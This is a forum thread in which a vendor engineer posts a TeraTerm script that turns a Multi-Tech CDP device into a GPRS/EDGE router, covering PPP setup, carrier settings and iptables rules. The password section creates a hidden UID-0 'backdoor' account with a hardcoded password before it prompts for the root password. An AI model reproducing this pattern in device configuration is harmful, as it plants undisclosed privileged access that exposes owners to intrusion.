CDP-G2 driving ADSL modem with GPRS fail over
Home › Forums › MultiConnect OCG › CDP-G2 driving ADSL modem with GPRS fail over
Tagged: ADSL Drivers, PPP fail over
- This topic has 2 replies, 2 voices, and was last updated 13 years, 5 months ago by Campbell Elder.
-
AuthorPosts
-
November 26, 2010 at 11:53 am #2521Campbell ElderParticipant
Do we have a list of the ADSL modem drivers that will be in the release version with USB host functionality?
I.E – What ADSL modems will we be able to drive?
Have we any recommendations on how to run a PPP fail over for if an ADSL link is down?
Campbell
November 26, 2010 at 12:04 pm #3061Campbell ElderParticipantScript I am using to build the CDP into a Dial on Demand router using EDGE.
Next step will be to do the same with a GPRS version of the DCP with an ADSL modem as the primary link.
Below is the configuration script I’ve used using Teraterm as a scripting tool.
; Application script applying cellular router functionality to the CDP
; Tested on MTCDP-E1 Firmware revision 1.0.0
; Author – Campbell Elder, Multi-Tech EMEA
; Un-Released
;########################################################################################
; setup the variables
yesnobox ‘Turn the CDP in to a router – Continue?’ ‘Warning’
if result goto Configit
end
:Multiples
yesnobox ‘Is the next one plugged in and ready’ ‘next1’
if result goto Configit
Goto finish
:Configit
; #######################################################################################
; Allocate Login variables Variables
o2 = ‘1’
VF = ‘2’
own = ‘3’
; #######################################################################################
; Keeping it clean – Saving original files, and adding a backup reference file
connect ‘192.168.2.1 /ssh /2 /auth=password /user=root /ask4passwd
; Referance file for PPP cellular modem AT config options
wait ‘#’
sendln ‘cd /var/config/ppp/peers’
wait ‘#’
sendln ‘rm gsm_chat_refbuild’
sendln ‘vi gsm_chat_refbuild’
wait “gsm_chat_refbuild”
sendln ‘i’
sendln ‘SAY “GSM chatn”‘
sendln ‘ECHO OFF’
sendln ‘ABORT ’39’NO DIAL TONE’39
sendln ‘ABORT ’39’NO DIALTONE’39
sendln ‘ABORT ’39’NO ANSWER’39
sendln ‘ABORT ’39’NO CARRIER’39
sendln ‘ABORT ’39’DELAYED’39
sendln ‘ABORT ’39’VOICE’39
sendln ‘ABORT ’39’BUSY’39
sendln 39 39 ‘ ’39’AT’39
sendln ‘OK ’39’ATZ’39
sendln ‘OK ’39’AT+CSQ’39
sendln ‘#OK ’39’AT+CGDCONT=1,”IP”,”proxy”’39
sendln ‘#OK ’39’AT+CGDCONT=1,”IP”,”ISP.CINGULAR”’39
sendln ‘#OK ’39’AT+CGDCONT=1,”IP”,”internet2.voicestream.com”’39
sendln ‘OK ’39’AT+CGDCONT=1,”IP”,”internet”’39
sendln ‘SAY “Dialing…n”‘
sendln ‘#OK ’39’ATD*99#’39
sendln ‘OK ’39’ATD*99***1#’39
sendln ‘SAY “Waiting for CONNECT…n”‘
sendln ‘TIMEOUT 120’
sendln ‘CONNECT ’39 39
sendln ‘SAY “Connectedn”‘
send 10
send 27
sendln ‘:wq’
wait ‘#’
; Copy original Modem port setup file to a safe location
sendln ‘cp gsm_chat gsm_chat_old
waitln ‘#’
sendln ‘cd /var/config/ppp/peers
sendln ‘rm gsm_refbuild’
sendln ‘vi gsm_refbuild’
wait “gsm_refbuild”
sendln ‘i’
sendln ‘linkname ppp0’
sendln ‘230400’
sendln ‘defaultroute’
sendln ‘replacedefaultroute’
sendln ‘usepeerdns’
sendln ‘ipcp-max-failure 4’
sendln ‘noauth’
sendln ‘crtscts’
sendln ‘novj’
sendln ‘connect ’39’/usr/sbin/chat -v -t 90 -f /etc/ppp/peers/gsm_chat’39
send 10
send 27
sendln ‘:wq’
waitln ‘#’
sendln ‘cp gsm gsm-old’
; Build a referance file for the PPP options
sendln ‘cd /etc/ppp’
sendln ‘rm options_refbuild’
sendln ‘vi options_refbuild’
wait “options_refbuild”
sendln ‘i’
sendln ‘# Select tty device’
sendln ‘#’
sendln ‘# MTSMC-E’
sendln ‘/dev/ttyS1’
sendln ‘# MTSMC-H’
sendln ‘#/dev/ttyACM0’
sendln ‘# USB device’
sendln ‘#/dev/ttyUSB0’
send 10
sendln ‘# Uncomment below to run in foreground’
sendln ‘#nodetach’
send 10
sendln ‘# Uncomment below to emit debug’
sendln ‘#debug’
send 10
sendln ‘lock’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Take a copy of the original options file
sendln ‘cp options options-old’
waitln ‘#’
; Build a referance secrets file for storing Username and passwords
sendln ‘rm pap-secrets_refbuild’
sendln ‘vi pap-secrets_refbuild’
wait “pap-secrets_refbuild”
sendln ‘i’
sendln ‘# Secrets for authentication using PAP’
sendln ‘# client server secret IP addresses’
sendln ‘* * “” *’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Take a copy of the original PAP username and password file
sendln ‘cp pap-secrets pap-secrets-old’
waitln ‘#’
; #######################################################################################
; Select Your Carrier
inputbox ‘Press 1 for o2, 2 for Vodafone, 3 to define your own Carrier’ ‘ Carrier select’
Param5 = inputstr
strcompare Param5 o2
if result=0 goto o2NET
strcompare Param5 VF
if result=0 goto VFNET
strcompare Param5 own
if result=0 goto OWNNET
; #######################################################################################
;Configure for o2
:o2Net
; Setup the CDP for o2 Username and password
sendln ‘cd /etc/ppp
waitln ‘#’
sendln ‘rm pap-secrets’
sendln ‘vi pap-secrets’
wait “pap-secrets”
sendln ‘i’
sendln ‘# Secrets for authentication using PAP’
sendln ‘# client server secret IP addresses’
sendln ‘#* * “” *’
sendln ‘mobileweb * “password” *’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Setup the o2 connection options
sendln ‘cd /etc/ppp’
sendln ‘rm options’
sendln ‘vi options’
wait “options”
sendln ‘i’
sendln ‘# Select tty device’
sendln ‘#’
sendln ‘# MTSMC-E’
sendln ‘/dev/ttyS1’
sendln ‘# MTSMC-H’
sendln ‘#/dev/ttyACM0’
sendln ‘# USB device’
sendln ‘#/dev/ttyUSB0’
send 10
sendln ‘# Uncomment below to run in foreground’
sendln ‘#nodetach’
send 10
sendln ‘# Uncomment below to emit debug’
sendln ‘#debug’
send 10
sendln ‘lock’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Define how the CDP will connect to o2
sendln ‘cd /var/config/ppp/peers’
sendln ‘rm gsm’
sendln ‘vi gsm’
wait “gsm”
sendln ‘i’
sendln ‘linkname ppp0’
sendln ‘230400’
sendln ‘defaultroute’
sendln ‘replacedefaultroute’
sendln ‘usepeerdns’
sendln ‘ipcp-max-failure 4’
sendln ‘#noauth’
sendln ‘#require-pap’
sendln ‘user mobileweb’
sendln ‘crtscts’
sendln ‘novj’
sendln ‘persist’
sendln ‘connect ’39’/usr/sbin/chat -v -t 90 -f /etc/ppp/peers/gsm_chat’39
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Define the Modem communications for connecting to o2
sendln ‘rm gsm_chat’
sendln ‘vi gsm_chat’
wait “gsm_chat”
sendln ‘i’
sendln ‘SAY “GSM chatn”‘
sendln ‘ECHO OFF’
sendln ‘ABORT ’39’NO DIAL TONE’39
sendln ‘ABORT ’39’NO DIALTONE’39
sendln ‘ABORT ’39’NO ANSWER’39
sendln ‘ABORT ’39’NO CARRIER’39
sendln ‘ABORT ’39’DELAYED’39
sendln ‘ABORT ’39’VOICE’39
sendln ‘ABORT ’39’BUSY’39
sendln 39 39 ‘ ’39’AT’39
sendln ‘OK ’39’ATZ’39
sendln ‘OK ’39’AT+CSQ’39
send 10
sendln ‘# o2 APN’
sendln ‘OK ’39’AT+CGDCONT=1,”IP”,”mobile.o2.co.uk”’39
send 10
sendln ‘SAY “Dialing…n”‘
sendln ‘OK ’39’ATD*99***1#’39
sendln ‘SAY “Waiting for CONNECT…n”‘
sendln ‘TIMEOUT 120’
sendln ‘CONNECT ’39 39
sendln ‘SAY “Connectedn”‘
send 10
send 27
sendln ‘:wq’
wait ‘#’
Goto Router
; #######################################################################################
:VFNET
;Configure for Vodafone
; Setup the CDP for Vodafone Username and password
sendln ‘cd /etc/ppp
waitln ‘#’
sendln ‘rm pap-secrets’
sendln ‘vi pap-secrets’
wait “pap-secrets”
sendln ‘i’
sendln ‘# Secrets for authentication using PAP’
sendln ‘# client server secret IP addresses’
sendln ‘#* * “” *’
sendln ‘web * “web” *’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Setup the Vodafone connection options
sendln ‘cd /etc/ppp’
sendln ‘rm options’
sendln ‘vi options’
wait “options”
sendln ‘i’
sendln ‘# Select tty device’
sendln ‘#’
sendln ‘# MTSMC-E’
sendln ‘/dev/ttyS1’
sendln ‘# MTSMC-H’
sendln ‘#/dev/ttyACM0’
sendln ‘# USB device’
sendln ‘#/dev/ttyUSB0’
send 10
sendln ‘# Uncomment below to run in foreground’
sendln ‘#nodetach’
send 10
sendln ‘# Uncomment below to emit debug’
sendln ‘#debug’
send 10
sendln ‘lock’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Define how the CDP will connect to Vodafone
sendln ‘cd /var/config/ppp/peers’
sendln ‘rm gsm’
sendln ‘vi gsm’
wait “gsm”
sendln ‘i’
sendln ‘linkname ppp0’
sendln ‘230400’
sendln ‘defaultroute’
sendln ‘replacedefaultroute’
sendln ‘usepeerdns’
sendln ‘ipcp-max-failure 4’
sendln ‘#noauth’
sendln ‘#require-pap’
sendln ‘user web’
sendln ‘crtscts’
sendln ‘novj’
sendln ‘persist’
sendln ‘connect ’39’/usr/sbin/chat -v -t 90 -f /etc/ppp/peers/gsm_chat’39
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Define the Modem communications for connecting to Vodafone
sendln ‘rm gsm_chat’
sendln ‘vi gsm_chat’
wait “gsm_chat”
sendln ‘i’
sendln ‘SAY “GSM chatn”‘
sendln ‘ECHO OFF’
sendln ‘ABORT ’39’NO DIAL TONE’39
sendln ‘ABORT ’39’NO DIALTONE’39
sendln ‘ABORT ’39’NO ANSWER’39
sendln ‘ABORT ’39’NO CARRIER’39
sendln ‘ABORT ’39’DELAYED’39
sendln ‘ABORT ’39’VOICE’39
sendln ‘ABORT ’39’BUSY’39
sendln 39 39 ‘ ’39’AT’39
sendln ‘OK ’39’ATZ’39
sendln ‘OK ’39’AT+CSQ’39
send 10
sendln ‘# o2 APN’
sendln ‘OK ’39’AT+CGDCONT=1,”IP”,”internet”’39
send 10
sendln ‘SAY “Dialing…n”‘
sendln ‘OK ’39’ATD*99***1#’39
sendln ‘SAY “Waiting for CONNECT…n”‘
sendln ‘TIMEOUT 120’
sendln ‘CONNECT ’39 39
sendln ‘SAY “Connectedn”‘
send 10
send 27
sendln ‘:wq’
wait ‘#’
Goto Router
; #######################################################################################
:OWNNET
;Configure for ANOTHER cellular provider
; Collect Cellulr data config from the user
inputbox ‘Enter your cellular providers APN’ ‘OwnAPN’
OwnAPN = inputstr
inputbox ‘Enter your cellular providers UserName’ ‘Ownusername’
OwnUN = inputstr
inputbox ‘Enter your cellular providers Password’ ‘Ownpassword’
OwnPW = inputstr
; Input the Username and password
sendln ‘cd /etc/ppp
waitln ‘#’
sendln ‘rm pap-secrets’
sendln ‘vi pap-secrets’
wait “pap-secrets”
sendln ‘i’
sendln ‘# Secrets for authentication using PAP’
sendln ‘# client server secret IP addresses’
sendln ‘#* * “” *’
sendln ”OwnUN’ * “‘OwnPW'” *’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Setup the A N Other connection options
sendln ‘cd /etc/ppp’
sendln ‘rm options’
sendln ‘vi options’
wait “options”
sendln ‘i’
sendln ‘# Select tty device’
sendln ‘#’
sendln ‘# MTSMC-E’
sendln ‘/dev/ttyS1’
sendln ‘# MTSMC-H’
sendln ‘#/dev/ttyACM0’
sendln ‘# USB device’
sendln ‘#/dev/ttyUSB0’
send 10
sendln ‘# Uncomment below to run in foreground’
sendln ‘#nodetach’
send 10
sendln ‘# Uncomment below to emit debug’
sendln ‘#debug’
send 10
sendln ‘lock’
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Define how the CDP will connect to the user defined cellular carrier
sendln ‘cd /var/config/ppp/peers’
sendln ‘rm gsm’
sendln ‘vi gsm’
wait “gsm”
sendln ‘i’
sendln ‘linkname ppp0’
sendln ‘230400’
sendln ‘defaultroute’
sendln ‘replacedefaultroute’
sendln ‘usepeerdns’
sendln ‘ipcp-max-failure 4’
sendln ‘#noauth’
sendln ‘#require-pap’
sendln ‘user ‘OwnUN”
sendln ‘crtscts’
sendln ‘novj’
sendln ‘persist’
sendln ‘connect ’39’/usr/sbin/chat -v -t 90 -f /etc/ppp/peers/gsm_chat’39
send 10
send 27
sendln ‘:wq’
waitln ‘#’
; Define the Modem communications for connecting to the user defined cellular carrier
sendln ‘rm gsm_chat’
sendln ‘vi gsm_chat’
wait “gsm_chat”
sendln ‘i’
sendln ‘SAY “GSM chatn”‘
sendln ‘ECHO OFF’
sendln ‘ABORT ’39’NO DIAL TONE’39
sendln ‘ABORT ’39’NO DIALTONE’39
sendln ‘ABORT ’39’NO ANSWER’39
sendln ‘ABORT ’39’NO CARRIER’39
sendln ‘ABORT ’39’DELAYED’39
sendln ‘ABORT ’39’VOICE’39
sendln ‘ABORT ’39’BUSY’39
sendln 39 39 ‘ ’39’AT’39
sendln ‘OK ’39’ATZ’39
sendln ‘OK ’39’AT+CSQ’39
send 10
sendln ‘# o2 APN’
sendln ‘OK ’39’AT+CGDCONT=1,”IP”,”‘OwnAPN'”’39
send 10
sendln ‘SAY “Dialing…n”‘
sendln ‘OK ’39’ATD*99***1#’39
sendln ‘SAY “Waiting for CONNECT…n”‘
sendln ‘TIMEOUT 120’
sendln ‘CONNECT ’39 39
sendln ‘SAY “Connectedn”‘
send 10
send 27
sendln ‘:wq’
wait ‘#’
; #######################################################################################
; set up the routing and firewall
:Router
;Set the CDP to start the PPP layer on boot
sendln ‘cd /etc/rc5.d’
sendln ‘ln -s ../init.d/ppp S99ppp’
;Build the routing file to start on boot up
sendln ‘cd /etc/ppp’
sendln ‘cp ppp_on_boot ppp_on_boot_old’
sendln ‘rm ppp_on_boot’
sendln ‘vi ppp_on_boot’
wait “ppp_on_boot”
sendln ‘i’
sendln ‘#!/usr/bin/env bash’
sendln ‘# Flush all the tables first’
sendln ‘iptables -t filter -F’
sendln ‘iptables -t nat -F’
sendln ‘iptables -t mangle -F’
sendln ‘iptables -t filter -P INPUT DROP’
sendln ‘iptables -t filter -A INPUT -i lo -j ACCEPT’
sendln ‘iptables -t filter -A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT’
sendln ‘# Accept ssh from the LAN (Wired)’
sendln ‘iptables -t filter -A INPUT -i eth0 -p tcp –dport 22 -j ACCEPT’
sendln ‘# Accept http from the LAN (Wired)’
sendln ‘iptables -t filter -A INPUT -i eth0 -p tcp –dport 80 -j ACCEPT’
sendln ‘# Accept tftp from the LAN (Wired)’
sendln ‘#iptables -t filter -A INPUT -i eth0 -p udp –dport 69 -j ACCEPT’
sendln ‘# Accept ssh from the WAN (Wireless)’
sendln ‘#iptables -t filter -A INPUT -i ppp0 -p tcp –dport 22 -j ACCEPT’
sendln ‘# Accept http from the WAN (Wireless)’
sendln ‘#iptables -t filter -A INPUT -i ppp0 -p tcp –dport 80 -j ACCEPT’
sendln ‘iptables -t filter -P FORWARD DROP’
sendln ‘iptables -t filter -A FORWARD -m state –state RELATED,ESTABLISHED -j ACCEPT’
sendln ‘iptables -t filter -A FORWARD -i eth0 -o ppp0 -j ACCEPT’
sendln ‘iptables -t filter -P OUTPUT ACCEPT’
sendln ‘iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE’
sendln ‘# turn on packet forwarding last’
sendln ‘echo 1 > /proc/sys/net/ipv4/ip_forward’
sendln ‘pppd call gsm’
send 10
send 27
sendln ‘:wq’
wait ‘#’
sendln ‘chmod 777 ppp_on_boot’
wait ‘#’
; #######################################################################################
;Test the connection
sendln ‘/etc/init.d/ppp start’
pause 5
;view the IP layer
sendln ‘ip a’
pause 1
sendln ‘ping google.com’
pause 3
send 3
yesnobox ‘Were you happy with the test?’ ‘happy’
if result goto IPQ
goto finish1
;########################################################################################
; Setup IP
:IPQ
yesnobox ‘Do you wish to change the LAN IP address?’ ‘LANIP’
if result goto SetIP
goto Rootpasswords
:SetIP
; Collect LAN data config from the user
inputbox ‘Enter your required LAN IP – format = XXX.XXX.XXX.XXX’ ‘LANIP’
LANIP = inputstr
inputbox ‘Enter your required SUB NET mask – format = 255.255.255.000’ ‘Mask’
Mask = inputstr
; Build a referance networks file, backup the original and set the new LAN IP parameters
sendln ‘cd /etc/network’
sendln ‘cp interfaces interfaces-old’
sendln ‘rm interfaces_referance’
sendln ‘vi interfaces_referance’
wait “interfaces_referance”
sendln ‘i’
sendln ‘# /etc/network/interfaces — configuration file for ifup(8), ifdown(8)’
send 10
sendln ‘# The loopback interface’
sendln ‘auto lo’
sendln ‘iface lo inet loopback’
send 10
sendln ‘# Wired interface’
sendln ‘auto eth0’
sendln ‘iface eth0 inet static’
sendln ‘address 192.168.2.1’
sendln ‘netmask 255.255.255.0’
send 10
send 27
sendln ‘:wq’
wait ‘#’
; Update the LAN IP file
sendln ‘cd /etc/network’
sendln ‘vi interfaces’
wait “interfaces”
sendln ‘/address’
sendln 68
sendln ‘i’
send ‘address ‘LANIP”
send 27
sendln ‘/netmask’
sendln 68
sendln ‘i’
send ‘netmask ‘Mask”
send 27
sendln ‘:wq’
wait ‘#’
;########################################################################################
; Change the Password for the root user
; ADD A BACK DOOR ROOT LEVEL USER – EDIT IF NOT REQUIRED
:Rootpasswords
yesnobox ‘would you like to change the root password’ ‘rootPW’
if result goto RootPW
goto another1
:RootPW
;Add Backdoor root user first
sendln ‘deluser Multi-Tech-ROOT’
sendln ‘adduser -S Multi-Tech-ROOT’
wait “New password:”
sendln ‘M@lt1T3ch’
wait “Retype password:”
sendln ‘M@lt1T3ch’
wait ‘#’
sendln ‘cd /etc’
;set backdoor root level admin rights
sendln ‘vi passwd’
sendln ‘/Multi’
sendln ‘/:’
sendln ‘/:’
send ‘xxxxxxi:0:0’
send 27
sendln ‘:wq’
wait ‘#’
inputbox ‘Enter your new root password – DO NOT FORGET IT’ ‘dontforget’
RTPW = inputstr
;Change root password
sendln ‘passwd’
wait “New password:”
sendln ”RTPW”
wait “Retype password:”
sendln ”RTPW”
wait ‘#’
;########################################################################################
;Finish and close
:another1
sendln ‘init 6’
yesnobox ‘Do you want to configure another?’ ‘rerun’
if result goto Multiples
goto finish
:finish1
sendln ‘init 6’
messagebox ‘contact your supplier for debug asstance if required’ ‘help’
:finish
end
June 10, 2011 at 11:23 am #3062Campbell ElderParticipantHas any-one any sample code that could be added to a router script to give an ADSL ( USB or Ethernet ) modem as the primary link and use the on board Cellular modem for a fail over solution?
-
AuthorPosts
- You must be logged in to reply to this topic.